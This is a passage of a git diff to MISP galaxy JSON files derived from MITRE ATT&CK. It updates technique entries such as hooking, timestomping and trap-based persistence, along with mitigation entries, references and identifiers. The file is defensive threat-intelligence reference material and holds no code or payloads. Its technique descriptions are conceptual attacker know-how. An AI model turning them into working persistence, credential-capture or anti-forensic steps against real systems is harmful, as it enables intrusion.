persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", + "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", "meta": { + "external_id": "T1179", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:credential-access" + ], "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1154" - ], - "uuid": "4e0157fe-5e38-4f35-a6b1-f0c43d2e9f62" - }, - "value": "Trap" - }, - { - "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.[[Citation: WindowsIR Anti-Forensic Techniques]]\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified.[[Citation: WindowsIR Anti-Forensic Techniques]] It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Loaded DLLs", "Process monitoring", - "Process command-line parameters" + "Windows event logs" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1099", - "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" - ], - "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a" + "https://attack.mitre.org/techniques/T1179", + "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/", + "http://www.gmer.net/", + "https://www.exploit-db.com/docs/17802.pdf", + "https://github.com/jay/gethooks", + "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", + "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx", + "https://github.com/prekageo/winhook", + "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis", + "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", + "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", + "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/" + ] }, - "value": "Timestomp" + "uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "value": "Hooking - T1179" + }, + { + "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)", + "meta": { + "external_id": "T1324", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1324" + ] + }, + "uuid": "7823039f-e2d5-4997-853c-ec983631206b", + "value": "DNSCalc - T1324" } ], - "version": 4 + "version": 7 } diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json index 8b6ecd5..0742336 100644 --- a/clusters/mitre-course-of-action.json +++ b/clusters/mitre-course-of-action.json @@ -10,1153 +10,5946 @@ "uuid": "a8825ae8-6dea-11e7-8d57-7728f3cfe086", "values": [ { - "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a" + "external_id": "T1060", + "refs": [ + "https://attack.mitre.org/techniques/T1060", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] }, - "value": "Registry Run Keys / Start Folder Mitigation" + "related": [ + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a", + "value": "Registry Run Keys / Startup Folder Mitigation - T1060" }, { - "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8" + "external_id": "T1041", + "refs": [ + "https://attack.mitre.org/techniques/T1041", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Exfiltration Over Command and Control Channel Mitigation" + "related": [ + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8", + "value": "Exfiltration Over Command and Control Channel Mitigation - T1041" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)", "meta": { - "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3" + "external_id": "T1011", + "refs": [ + "https://attack.mitre.org/techniques/T1011", + "https://technet.microsoft.com/library/dd252791.aspx", + "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/" + ] }, - "value": "Custom Command and Control Protocol Mitigation" + "related": [ + { + "dest-uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", + "value": "Exfiltration Over Other Network Medium Mitigation - T1011" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd" + "external_id": "T1039", + "refs": [ + "https://attack.mitre.org/techniques/T1039", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Data from Network Shared Drive Mitigation" + "related": [ + { + "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd", + "value": "Data from Network Shared Drive Mitigation - T1039" }, { - "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]", + "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", "meta": { - "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259" + "external_id": "T1084", + "refs": [ + "https://attack.mitre.org/techniques/T1084", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + ] }, - "value": "Windows Management Instrumentation Event Subscription Mitigation" + "related": [ + { + "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259", + "value": "Windows Management Instrumentation Event Subscription Mitigation - T1084" }, { - "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "399d9038-b100-43ef-b28d-a5065106b935" + "external_id": "T1094", + "refs": [ + "https://attack.mitre.org/techniques/T1094", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Standard Non-Application Layer Protocol Mitigation" + "related": [ + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", + "value": "Custom Command and Control Protocol Mitigation - T1094" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.", "meta": { - "uuid": "8e354454-7ec6-4fc5-a070-e16dee5c69c0" + "external_id": "T1183", + "refs": [ + "https://attack.mitre.org/techniques/T1183", + "https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] }, - "value": "Deobfuscate/Decode Files or Information Mitigation" + "related": [ + { + "dest-uuid": "62166220-e498-410f-a90a-19d4339d4e99", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "33f76731-b840-446f-bee0-53687dad24d9", + "value": "Image File Execution Options Injection Mitigation - T1183" }, { - "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [[Technique/T1038|DLL Search Order Hijacking]]. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.[[CiteRef::Github UACMe]]", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.", "meta": { - "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f" + "external_id": "T1198", + "refs": [ + "https://attack.mitre.org/techniques/T1198", + "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + ] }, - "value": "Bypass User Account Control Mitigation" + "related": [ + { + "dest-uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ef273807-c465-4728-9cee-5823422f42ee", + "value": "SIP and Trust Provider Hijacking Mitigation - T1198" }, { - "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations.[[CiteRef::MSDN File Associations]]\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed" + "external_id": "T1095", + "refs": [ + "https://attack.mitre.org/techniques/T1095", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Change Default File Association Mitigation" + "related": [ + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "399d9038-b100-43ef-b28d-a5065106b935", + "value": "Standard Non-Application Layer Protocol Mitigation - T1095" }, { - "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.[[CiteRef::TechNet Firewall Design]] These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80" + "external_id": "T1140", + "refs": [ + "https://attack.mitre.org/techniques/T1140", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] }, - "value": "Exfiltration Over Alternative Protocol Mitigation" + "related": [ + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0", + "value": "Deobfuscate/Decode Files or Information Mitigation - T1140" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.", "meta": { - "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0" + "external_id": "M1010", + "refs": [ + "https://attack.mitre.org/mitigations/M1010" + ] }, - "value": "Standard Application Layer Protocol Mitigation" + "related": [ + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433", + "value": "Deploy Compromised Device Detection Method - M1010" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40" + "external_id": "T1030", + "refs": [ + "https://attack.mitre.org/techniques/T1030", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "System Network Configuration Discovery Mitigation" + "related": [ + { + "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee", + "value": "Data Transfer Size Limits Mitigation - T1030" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "c1676218-c16a-41c9-8f7a-023779916e39" + "external_id": "T1005", + "refs": [ + "https://attack.mitre.org/techniques/T1005", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "System Network Connections Discovery Mitigation" + "related": [ + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd", + "value": "Data from Local System Mitigation - T1005" }, { - "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e" + "external_id": "T1006", + "refs": [ + "https://attack.mitre.org/techniques/T1006", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Component Object Model Hijacking Mitigation" + "related": [ + { + "dest-uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da", + "value": "File System Logical Offsets Mitigation - T1006" }, { - "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]", + "description": "Warn device users not to accept requests to grant Device Administrator access to applications without good reason.\n\nAdditionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.", "meta": { - "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445" + "external_id": "M1007", + "refs": [ + "https://attack.mitre.org/mitigations/M1007" + ] }, - "value": "Communication Through Removable Media Mitigation" + "related": [ + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9", + "value": "Caution with Device Administrator Access - M1007" }, { - "description": "Follow best practices for mitigation of activity related to establishing [[Technique/T1077|Windows Admin Shares]]. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", "meta": { - "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb" + "external_id": "T1070", + "refs": [ + "https://attack.mitre.org/techniques/T1070" + ] }, - "value": "Network Share Connection Removal Mitigation" + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0", + "value": "Indicator Removal on Host Mitigation - T1070" }, { - "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts 